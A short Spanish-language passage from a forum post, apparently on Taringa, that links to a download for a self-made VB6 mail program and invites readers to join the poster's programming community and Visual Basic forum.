electrtonico)http://www.taringa.net/posts/downloads/10758434/mail-blue_echo-por-mi-en-vb6_.html Favor Pasense por mi comunidad y formen partehttp://www.taringa.net/comunidades/programando-taringa/Mi foro sobre VBhttp://programadoresvb.tk/Comentar es Agradecer